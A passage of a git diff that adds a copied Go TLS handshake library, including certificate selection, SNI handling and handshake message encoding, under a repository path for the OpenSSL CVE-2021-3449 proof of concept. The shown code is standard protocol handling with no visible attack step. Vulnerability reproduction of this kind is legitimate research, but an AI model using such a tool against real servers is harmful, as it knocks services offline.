!certReq.hasSignatureAlgorithm { + // Prior to TLS 1.2, the signature schemes were not + // included in the certificate request message. In this + // case we use a plausible list based on the acceptable + // certificate types. + switch { + case rsaAvail && ecAvail: + cri.SignatureSchemes = tls11SignatureSchemes + case rsaAvail: + cri.SignatureSchemes = tls11SignatureSchemesRSA + case ecAvail: + cri.SignatureSchemes = tls11SignatureSchemesECDSA + } + return cri + } + + // Filter the signature schemes based on the certificate types. + // See RFC 5246, Section 7.4.4 (where it calls this "somewhat complicated"). + cri.SignatureSchemes = make([]SignatureScheme, 0, len(certReq.supportedSignatureAlgorithms)) + for _, sigScheme := range certReq.supportedSignatureAlgorithms { + sigType, _, err := typeAndHashFromSignatureScheme(sigScheme) + if err != nil { + continue + } + switch sigType { + case signatureECDSA, signatureEd25519: + if ecAvail { + cri.SignatureSchemes = append(cri.SignatureSchemes, sigScheme) + } + case signatureRSAPSS, signaturePKCS1v15: + if rsaAvail { + cri.SignatureSchemes = append(cri.SignatureSchemes, sigScheme) + } + } + } + + return cri +} + +func (c *Conn) getClientCertificate(cri *CertificateRequestInfo) (*Certificate, error) { + if c.config.GetClientCertificate != nil { + return c.config.GetClientCertificate(cri) + } + + for _, chain := range c.config.Certificates { + if err := cri.SupportsCertificate(&chain); err != nil { + continue + } + return &chain, nil + } + + // No acceptable certificate found. Don't send a certificate. + return new(Certificate), nil +} + +// clientSessionCacheKey returns a key used to cache sessionTickets that could +// be used to resume previously negotiated TLS sessions with a server. +func clientSessionCacheKey(serverAddr net.Addr, config *Config) string { + if len(config.ServerName) > 0 { + return config.ServerName + } + return serverAddr.String() +} + +// hostnameInSNI converts name into an appropriate hostname for SNI. +// Literal IP addresses and absolute FQDNs are not permitted as SNI values. +// See RFC 6066, Section 3. +func hostnameInSNI(name string) string { + host := name + if len(host) > 0 && host[0] == '[' && host[len(host)-1] == ']' { + host = host[1 : len(host)-1] + } + if i := strings.LastIndex(host, "%"); i > 0 { + host = host[:i] + } + if net.ParseIP(host) != nil { + return "" + } + for len(name) > 0 && name[len(name)-1] == '.' { + name = name[:len(name)-1] + } + return name +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/handshake_messages.go b/cve/openssl/2021/CVE-2021-3449/tls/handshake_messages.go new file mode 100644 index 00000000..aede24fa --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/handshake_messages.go @@ -0,0 +1,1742 @@ +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "fmt" + "strings" + + "golang.org/x/crypto/cryptobyte" +) + +// The marshalingFunction type is an adapter to allow the use of ordinary +// functions as cryptobyte.MarshalingValue. +type marshalingFunction func(b *cryptobyte.Builder) error + +func (f marshalingFunction) Marshal(b *cryptobyte.Builder) error { + return f(b) +} + +// addBytesWithLength appends a sequence of bytes to the cryptobyte.Builder. If +// the length of the sequence is not the value specified, it produces an error. +func addBytesWithLength(b *cryptobyte.Builder, v []byte, n int) { + b.AddValue(marshalingFunction(func(b *cryptobyte.Builder) error { + if len(v) != n { + return fmt.Errorf("invalid value length: expected %d, got %d", n, len(v)) + } + b.AddBytes(v) + return nil + })) +} + +// readUint8LengthPrefixed acts like s.ReadUint8LengthPrefixed, but targets a +// []byte instead of a cryptobyte.String. +func readUint8LengthPrefixed(s *cryptobyte.String, out *[]byte) bool { + return s.ReadUint8LengthPrefixed((*cryptobyte.String)(out)) +} + +// readUint16LengthPrefixed acts like s.ReadUint16LengthPrefixed, but targets a +// []byte instead of a cryptobyte.String. +func readUint16LengthPrefixed(s *cryptobyte.String, out *[]byte) bool { + return s.ReadUint16LengthPrefixed((*cryptobyte.String)(out)) +} + +// readUint24LengthPrefixed acts like s.ReadUint24LengthPrefixed, but targets a +// []byte instead of a cryptobyte.String. +func readUint24LengthPrefixed(s *cryptobyte.String, out *[]byte) bool { + return s.ReadUint24LengthPrefixed((*cryptobyte.String)(out)) +} + +type clientHelloMsg struct { + raw []byte + vers uint16 + random []byte + sessionId []byte + cipherSuites []uint16 + compressionMethods []uint8 + serverName string + ocspStapling bool + supportedCurves []CurveID + supportedPoints []uint8 + ticketSupported bool + sessionTicket []uint8 + supportedSignatureAlgorithms []SignatureScheme + supportedSignatureAlgorithmsCert []SignatureScheme + secureRenegotiationSupported bool + secureRenegotiation []byte + alpnProtocols []string + scts bool + supportedVersions []uint16 + cookie []byte + keyShares []keyShare + earlyData bool + pskModes []uint8 + pskBinders [][]byte +} + +func (m *clientHelloMsg) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeClientHello) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16(m.vers) + addBytesWithLength(b, m.random, 32) + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.sessionId) + }) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, suite := range m.cipherSuites { + b.AddUint16(suite) + } + }) + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.compressionMethods) + }) + + // If extensions aren't present, omit them. + var extensionsPresent bool + bWithoutExtensions := *b + + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + if len(m.serverName) > 0 { + // RFC 6066, Section 3 + b.AddUint16(extensionServerName) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8(0) // name_type = host_name + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes([]byte(m.serverName)) + }) + }) + }) + } + if m.ocspStapling { + // RFC 4366, Section 3.6 + b.AddUint16(extensionStatusRequest) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8(1) // status_type = ocsp + b.AddUint16(0) // empty responder_id_list + b.AddUint16(0) // empty request_extensions + }) + } + if len(m.supportedCurves) > 0 { + // RFC 4492, sections 5.1.1 and RFC 8446, Section 4.2.7 + b.AddUint16(extensionSupportedCurves) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, curve := range m.supportedCurves { + b.AddUint16(uint16(curve)) + } + }) + }) + } + if len(m.supportedPoints) > 0 { + // RFC 4492, Section 5.1.2 + b.AddUint16(extensionSupportedPoints) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.supportedPoints) + }) + }) + } + if m.ticketSupported { + // RFC 5077, Section 3.2 + b.AddUint16(extensionSessionTicket) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.sessionTicket) + }) + } + if len(m.supportedSignatureAlgorithms) > 0 { + // RFC 5246, Section 7.4.1.4.1 + b.AddUint16(extensionSignatureAlgorithms) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, sigAlgo := range m.supportedSignatureAlgorithms { + b.AddUint16(uint16(sigAlgo)) + } + }) + }) + } + if len(m.supportedSignatureAlgorithmsCert) > 0 { + // RFC 8446, Section 4.2.3 + b.AddUint16(extensionSignatureAlgorithmsCert) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, sigAlgo := range m.supportedSignatureAlgorithmsCert { + b.AddUint16(uint16(sigAlgo)) + } + }) + }) + } + if m.secureRenegotiationSupported { + // RFC 5746, Section 3.2 + b.AddUint16(extensionRenegotiationInfo) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.secureRenegotiation) + }) + }) + } + if len(m.alpnProtocols) > 0 { + // RFC 7301, Section 3.1 + b.AddUint16(extensionALPN) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, proto := range m.alpnProtocols { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes([]byte(proto)) + }) + } + }) + }) + } + if m.scts { + // RFC 6962, Section 3.3.1 + b.AddUint16(extensionSCT) + b.AddUint16(0) // empty extension_data + } + if len(m.supportedVersions) > 0 { + // RFC 8446, Section 4.2.1 + b.AddUint16(extensionSupportedVersions) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + for _, vers := range m.supportedVersions { + b.AddUint16(vers) + } + }) + }) + } + if len(m.cookie) > 0 { + // RFC 8446, Section 4.2.2 + b.AddUint16(extensionCookie) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.cookie) + }) + }) + } + if len(m.keyShares) > 0 { + // RFC 8446, Section 4.2.8 + b.AddUint16(extensionKeyShare) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, ks := range m.keyShares { + b.AddUint16(uint16(ks.group)) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(ks.data) + }) + } + }) + }) + } + if m.earlyData { + // RFC 8446, Section 4.2.10 + b.AddUint16(extensionEarlyData) + b.AddUint16(0) // empty extension_data + } + if len(m.pskModes) > 0 { + // RFC 8446, Section 4.2.9 + b.AddUint16(extensionPSKModes) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.pskModes) + }) + }) + } + + extensionsPresent = len(b.BytesOrPanic()) > 2 + }) + + if !extensionsPresent { + *b = bWithoutExtensions + } + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +// marshalWithoutBinders returns the ClientHello through the +// PreSharedKeyExtension.identities field, according to RFC 8446, Section +// 4.2.11.2. Note that m.pskBinders must be set to slices of the correct length. +func (m *clientHelloMsg) marshalWithoutBinders() []byte { + bindersLen := 2 // uint16 length prefix + for _, binder := range m.pskBinders { + bindersLen += 1 // uint8 length prefix + bindersLen += len(binder) + } + + fullMessage := m.marshal() + return fullMessage[:len(fullMessage)-bindersLen] +} + +// updateBinders updates the m.pskBinders field, if necessary updating the +// cached marshaled representation. The supplied binders must have the same +// length as the current m.pskBinders. +func (m *clientHelloMsg) updateBinders(pskBinders [][]byte) { + if len(pskBinders) != len(m.pskBinders) { + panic("tls: internal error: pskBinders length mismatch") + } + for i := range m.pskBinders { + if len(pskBinders[i]) != len(m.pskBinders[i]) { + panic("tls: internal error: pskBinders length mismatch") + } + } + m.pskBinders = pskBinders + if m.raw != nil { + lenWithoutBinders := len(m.marshalWithoutBinders()) + // TODO(filippo): replace with NewFixedBuilder once CL 148882 is imported. + b := cryptobyte.NewBuilder(m.raw[:lenWithoutBinders]) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, binder := range m.pskBinders { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(binder) + }) + } + }) + if len(b.BytesOrPanic()) != len(m.raw) { + panic("tls: internal error: failed to update binders") + } + } +} + +func (m *clientHelloMsg) unmarshal(data []byte) bool { + *m = clientHelloMsg{raw: data} + s := cryptobyte.String(data) + + if !s.Skip(4) || // message type and uint24 length field + !s.ReadUint16(&m.vers) || !s.ReadBytes(&m.random, 32) || + !readUint8LengthPrefixed(&s, &m.sessionId) { + return false + } + + var cipherSuites cryptobyte.String + if !s.ReadUint16LengthPrefixed(&cipherSuites) { + return false + } + m.cipherSuites = []uint16{} + m.secureRenegotiationSupported = false + for !cipherSuites.Empty() { + var suite uint16 + if !cipherSuites.ReadUint16(&suite) { + return false + } + if suite == scsvRenegotiation { + m.secureRenegotiationSupported = true + } + m.cipherSuites = append(m.cipherSuites, suite) + } + + if !readUint8LengthPrefixed(&s, &m.compressionMethods) { + return false + } + + if s.Empty() { + // ClientHello is optionally followed by extension data + return true + } + + var extensions cryptobyte.String + if !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() { + return false + } + + for !extensions.Empty() { + var extension uint16 + var extData cryptobyte.String + if !extensions.ReadUint16(&extension) || + !extensions.ReadUint16LengthPrefixed(&extData) { + return false + } + + switch extension { + case extensionServerName: + // RFC 6066, Section 3 + var nameList cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&nameList) || nameList.Empty() { + return false + } + for !nameList.Empty() { + var nameType uint8 + var serverName cryptobyte.String + if !nameList.ReadUint8(&nameType) || + !nameList.ReadUint16LengthPrefixed(&serverName) || + serverName.Empty() { + return false + } + if nameType != 0 { + continue + } + if len(m.serverName) != 0 { + // Multiple names of the same name_type are prohibited. + return false + } + m.serverName = string(serverName) + // An SNI value may not include a trailing dot. + if strings.HasSuffix(m.serverName, ".") { + return false + } + } + case extensionStatusRequest: + // RFC 4366, Section 3.6 + var statusType uint8 + var ignored cryptobyte.String + if !extData.ReadUint8(&statusType) || + !extData.ReadUint16LengthPrefixed(&ignored) || + !extData.ReadUint16LengthPrefixed(&ignored) { + return false + } + m.ocspStapling = statusType == statusTypeOCSP + case extensionSupportedCurves: + // RFC 4492, sections 5.1.1 and RFC 8446, Section 4.2.7 + var curves cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&curves) || curves.Empty() { + return false + } + for !curves.Empty() { + var curve uint16 + if !curves.ReadUint16(&curve) { + return false + } + m.supportedCurves = append(m.supportedCurves, CurveID(curve)) + } + case extensionSupportedPoints: + // RFC 4492, Section 5.1.2 + if !readUint8LengthPrefixed(&extData, &m.supportedPoints) || + len(m.supportedPoints) == 0 { + return false + } + case extensionSessionTicket: + // RFC 5077, Section 3.2 + m.ticketSupported = true + extData.ReadBytes(&m.sessionTicket, len(extData)) + case extensionSignatureAlgorithms: + // RFC 5246, Section 7.4.1.4.1 + var sigAndAlgs cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() { + return false + } + for !sigAndAlgs.Empty() { + var sigAndAlg uint16 + if !sigAndAlgs.ReadUint16(&sigAndAlg) { + return false + } + m.supportedSignatureAlgorithms = append( + m.supportedSignatureAlgorithms, SignatureScheme(sigAndAlg)) + } + case extensionSignatureAlgorithmsCert: + // RFC 8446, Section 4.2.3 + var sigAndAlgs cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() { + return false + } + for !sigAndAlgs.Empty() { + var sigAndAlg uint16 + if !sigAndAlgs.ReadUint16(&sigAndAlg) { + return false + } + m.supportedSignatureAlgorithmsCert = append( + m.supportedSignatureAlgorithmsCert, SignatureScheme(sigAndAlg)) + } + case extensionRenegotiationInfo: + // RFC 5746, Section 3.2 + if !readUint8LengthPrefixed(&extData, &m.secureRenegotiation) { + return false + } + m.secureRenegotiationSupported = true + case extensionALPN: + // RFC 7301, Section 3.1 + var protoList cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() { + return false + } + for !protoList.Empty() { + var proto cryptobyte.String + if !protoList.ReadUint8LengthPrefixed(&proto) || proto.Empty() { + return false + } + m.alpnProtocols = append(m.alpnProtocols, string(proto)) + } + case extensionSCT: + // RFC 6962, Section 3.3.1 + m.scts = true + case extensionSupportedVersions: + // RFC 8446, Section 4.2.1 + var versList cryptobyte.String + if !extData.ReadUint8LengthPrefixed(&versList) || versList.Empty() { + return false + } + for !versList.Empty() { + var vers uint16 + if !versList.ReadUint16(&vers) { + return false + } + m.supportedVersions = append(m.supportedVersions, vers) + } + case extensionCookie: + // RFC 8446, Section 4.2.2 + if !readUint16LengthPrefixed(&extData, &m.cookie) || + len(m.cookie) == 0 { + return false + } + case extensionKeyShare: + // RFC 8446, Section 4.2.8 + var clientShares cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&clientShares) { + return false + } + for !clientShares.Empty() { + var ks keyShare + if !clientShares.ReadUint16((*uint16)(&ks.group)) || + !readUint16LengthPrefixed(&clientShares, &ks.data) || + len(ks.data) == 0 { + return false + } + m.keyShares = append(m.keyShares, ks) + } + case extensionEarlyData: + // RFC 8446, Section 4.2.10 + m.earlyData = true + case extensionPSKModes: + // RFC 8446, Section 4.2.9 + if !readUint8LengthPrefixed(&extData, &m.pskModes) { + return false + } + case extensionPreSharedKey: + return false + default: + // Ignore unknown extensions. + continue + } + + if !extData.Empty() { + return false + } + } + + return true +} + +type serverHelloMsg struct { + raw []byte + vers uint16 + random []byte + sessionId []byte + cipherSuite uint16 + compressionMethod uint8 + ocspStapling bool + ticketSupported bool + secureRenegotiationSupported bool + secureRenegotiation []byte + alpnProtocol string + scts [][]byte + supportedVersion uint16 + serverShare keyShare + selectedIdentityPresent bool + selectedIdentity uint16 + supportedPoints []uint8 + + // HelloRetryRequest extensions + cookie []byte + selectedGroup CurveID +} + +func (m *serverHelloMsg) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeServerHello) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16(m.vers) + addBytesWithLength(b, m.random, 32) + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.sessionId) + }) + b.AddUint16(m.cipherSuite) + b.AddUint8(m.compressionMethod) + + // If extensions aren't present, omit them. + var extensionsPresent bool + bWithoutExtensions := *b + + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + if m.ocspStapling { + b.AddUint16(extensionStatusRequest) + b.AddUint16(0) // empty extension_data + } + if m.ticketSupported { + b.AddUint16(extensionSessionTicket) + b.AddUint16(0) // empty extension_data + } + if m.secureRenegotiationSupported { + b.AddUint16(extensionRenegotiationInfo) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.secureRenegotiation) + }) + }) + } + if len(m.alpnProtocol) > 0 { + b.AddUint16(extensionALPN) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes([]byte(m.alpnProtocol)) + }) + }) + }) + } + if len(m.scts) > 0 { + b.AddUint16(extensionSCT) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, sct := range m.scts { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(sct) + }) + } + }) + }) + } + if m.supportedVersion != 0 { + b.AddUint16(extensionSupportedVersions) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16(m.supportedVersion) + }) + } + if m.serverShare.group != 0 { + b.AddUint16(extensionKeyShare) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16(uint16(m.serverShare.group)) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.serverShare.data) + }) + }) + } + if m.selectedIdentityPresent { + b.AddUint16(extensionPreSharedKey) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16(m.selectedIdentity) + }) + } + + if len(m.cookie) > 0 { + b.AddUint16(extensionCookie) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.cookie) + }) + }) + } + if m.selectedGroup != 0 { + b.AddUint16(extensionKeyShare) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16(uint16(m.selectedGroup)) + }) + } + if len(m.supportedPoints) > 0 { + b.AddUint16(extensionSupportedPoints) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.supportedPoints) + }) + }) + } + + extensionsPresent = len(b.BytesOrPanic()) > 2 + }) + + if !extensionsPresent { + *b = bWithoutExtensions + } + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func (m *serverHelloMsg) unmarshal(data []byte) bool { + *m = serverHelloMsg{raw: data} + s := cryptobyte.String(data) + + if !s.Skip(4) || // message type and uint24 length field + !s.ReadUint16(&m.vers) || !s.ReadBytes(&m.random, 32) || + !readUint8LengthPrefixed(&s, &m.sessionId) || + !s.ReadUint16(&m.cipherSuite) || + !s.ReadUint8(&m.compressionMethod) { + return false + } + + if s.Empty() { + // ServerHello is optionally followed by extension data + return true + } + + var extensions cryptobyte.String + if !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() { + return false + } + + for !extensions.Empty() { + var extension uint16 + var extData cryptobyte.String + if !extensions.ReadUint16(&extension) || + !extensions.ReadUint16LengthPrefixed(&extData) { + return false + } + + switch extension { + case extensionStatusRequest: + m.ocspStapling = true + case extensionSessionTicket: + m.ticketSupported = true + case extensionRenegotiationInfo: + if !readUint8LengthPrefixed(&extData, &m.secureRenegotiation) { + return false + } + m.secureRenegotiationSupported = true + case extensionALPN: + var protoList cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() { + return false + } + var proto cryptobyte.String + if !protoList.ReadUint8LengthPrefixed(&proto) || + proto.Empty() || !protoList.Empty() { + return false + } + m.alpnProtocol = string(proto) + case extensionSCT: + var sctList cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&sctList) || sctList.Empty() { + return false + } + for !sctList.Empty() { + var sct []byte + if !readUint16LengthPrefixed(&sctList, &sct) || + len(sct) == 0 { + return false + } + m.scts = append(m.scts, sct) + } + case extensionSupportedVersions: + if !extData.ReadUint16(&m.supportedVersion) { + return false + } + case extensionCookie: + if !readUint16LengthPrefixed(&extData, &m.cookie) || + len(m.cookie) == 0 { + return false + } + case extensionKeyShare: + // This extension has different formats in SH and HRR, accept either + // and let the handshake logic decide. See RFC 8446, Section 4.2.8. + if len(extData) == 2 { + if !extData.ReadUint16((*uint16)(&m.selectedGroup)) { + return false + } + } else { + if !extData.ReadUint16((*uint16)(&m.serverShare.group)) || + !readUint16LengthPrefixed(&extData, &m.serverShare.data) { + return false + } + } + case extensionPreSharedKey: + m.selectedIdentityPresent = true + if !extData.ReadUint16(&m.selectedIdentity) { + return false + } + case extensionSupportedPoints: + // RFC 4492, Section 5.1.2 + if !readUint8LengthPrefixed(&extData, &m.supportedPoints) || + len(m.supportedPoints) == 0 { + return false + } + default: + // Ignore unknown extensions. + continue + } + + if !extData.Empty() { + return false + } + } + + return true +} + +type encryptedExtensionsMsg struct { + raw []byte + alpnProtocol string +} + +func (m *encryptedExtensionsMsg) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeEncryptedExtensions) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + if len(m.alpnProtocol) > 0 { + b.AddUint16(extensionALPN) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes([]byte(m.alpnProtocol)) + }) + }) + }) + } + }) + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func (m *encryptedExtensionsMsg) unmarshal(data []byte) bool { + *m = encryptedExtensionsMsg{raw: data} + s := cryptobyte.String(data) + + var extensions cryptobyte.String + if !s.Skip(4) || // message type and uint24 length field + !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() { + return false + } + + for !extensions.Empty() { + var extension uint16 + var extData cryptobyte.String + if !extensions.ReadUint16(&extension) || + !extensions.ReadUint16LengthPrefixed(&extData) { + return false + } + + switch extension { + case extensionALPN: + var protoList cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() { + return false + } + var proto cryptobyte.String + if !protoList.ReadUint8LengthPrefixed(&proto) || + proto.Empty() || !protoList.Empty() { + return false + } + m.alpnProtocol = string(proto) + default: + // Ignore unknown extensions. + continue + } + + if !extData.Empty() { + return false + } + } + + return true +} + +type endOfEarlyDataMsg struct{} + +func (m *endOfEarlyDataMsg) marshal() []byte { + x := make([]byte, 4) + x[0] = typeEndOfEarlyData + return x +} + +func (m *endOfEarlyDataMsg) unmarshal(data []byte) bool { + return len(data) == 4 +} + +type keyUpdateMsg struct { + raw []byte + updateRequested bool +} + +func (m *keyUpdateMsg) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeKeyUpdate) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + if m.updateRequested { + b.AddUint8(1) + } else { + b.AddUint8(0) + } + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func (m *keyUpdateMsg) unmarshal(data []byte) bool { + m.raw = data + s := cryptobyte.String(data) + + var updateRequested uint8 + if !s.Skip(4) || // message type and uint24 length field + !s.ReadUint8(&updateRequested) || !s.Empty() { + return false + } + switch updateRequested { + case 0: + m.updateRequested = false + case 1: + m.updateRequested = true + default: + return false + } + return true +} + +type newSessionTicketMsgTLS13 struct { + raw []byte + lifetime uint32 + ageAdd uint32 + nonce []byte + label []byte + maxEarlyData uint32 +} + +func (m *newSessionTicketMsgTLS13) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeNewSessionTicket) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint32(m.lifetime) + b.AddUint32(m.ageAdd) + b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.nonce) + }) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.label) + }) + + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + if m.maxEarlyData > 0 { + b.AddUint16(extensionEarlyData) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint32(m.maxEarlyData) + }) + } + }) + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func (m *newSessionTicketMsgTLS13) unmarshal(data []byte) bool { + *m = newSessionTicketMsgTLS13{raw: data} + s := cryptobyte.String(data) + + var extensions cryptobyte.String + if !s.Skip(4) || // message type and uint24 length field + !s.ReadUint32(&m.lifetime) || + !s.ReadUint32(&m.ageAdd) || + !readUint8LengthPrefixed(&s, &m.nonce) || + !readUint16LengthPrefixed(&s, &m.label) || + !s.ReadUint16LengthPrefixed(&extensions) || + !s.Empty() { + return false + } + + for !extensions.Empty() { + var extension uint16 + var extData cryptobyte.String + if !extensions.ReadUint16(&extension) || + !extensions.ReadUint16LengthPrefixed(&extData) { + return false + } + + switch extension { + case extensionEarlyData: + if !extData.ReadUint32(&m.maxEarlyData) { + return false + } + default: + // Ignore unknown extensions. + continue + } + + if !extData.Empty() { + return false + } + } + + return true +} + +type certificateRequestMsgTLS13 struct { + raw []byte + ocspStapling bool + scts bool + supportedSignatureAlgorithms []SignatureScheme + supportedSignatureAlgorithmsCert []SignatureScheme + certificateAuthorities [][]byte +} + +func (m *certificateRequestMsgTLS13) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeCertificateRequest) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + // certificate_request_context (SHALL be zero length unless used for + // post-handshake authentication) + b.AddUint8(0) + + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + if m.ocspStapling { + b.AddUint16(extensionStatusRequest) + b.AddUint16(0) // empty extension_data + } + if m.scts { + // RFC 8446, Section 4.4.2.1 makes no mention of + // signed_certificate_timestamp in CertificateRequest, but + // "Extensions in the Certificate message from the client MUST + // correspond to extensions in the CertificateRequest message + // from the server." and it appears in the table in Section 4.2. + b.AddUint16(extensionSCT) + b.AddUint16(0) // empty extension_data + } + if len(m.supportedSignatureAlgorithms) > 0 { + b.AddUint16(extensionSignatureAlgorithms) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, sigAlgo := range m.supportedSignatureAlgorithms { + b.AddUint16(uint16(sigAlgo)) + } + }) + }) + } + if len(m.supportedSignatureAlgorithmsCert) > 0 { + b.AddUint16(extensionSignatureAlgorithmsCert) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, sigAlgo := range m.supportedSignatureAlgorithmsCert { + b.AddUint16(uint16(sigAlgo)) + } + }) + }) + } + if len(m.certificateAuthorities) > 0 { + b.AddUint16(extensionCertificateAuthorities) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, ca := range m.certificateAuthorities { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(ca) + }) + } + }) + }) + } + }) + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func (m *certificateRequestMsgTLS13) unmarshal(data []byte) bool { + *m = certificateRequestMsgTLS13{raw: data} + s := cryptobyte.String(data) + + var context, extensions cryptobyte.String + if !s.Skip(4) || // message type and uint24 length field + !s.ReadUint8LengthPrefixed(&context) || !context.Empty() || + !s.ReadUint16LengthPrefixed(&extensions) || + !s.Empty() { + return false + } + + for !extensions.Empty() { + var extension uint16 + var extData cryptobyte.String + if !extensions.ReadUint16(&extension) || + !extensions.ReadUint16LengthPrefixed(&extData) { + return false + } + + switch extension { + case extensionStatusRequest: + 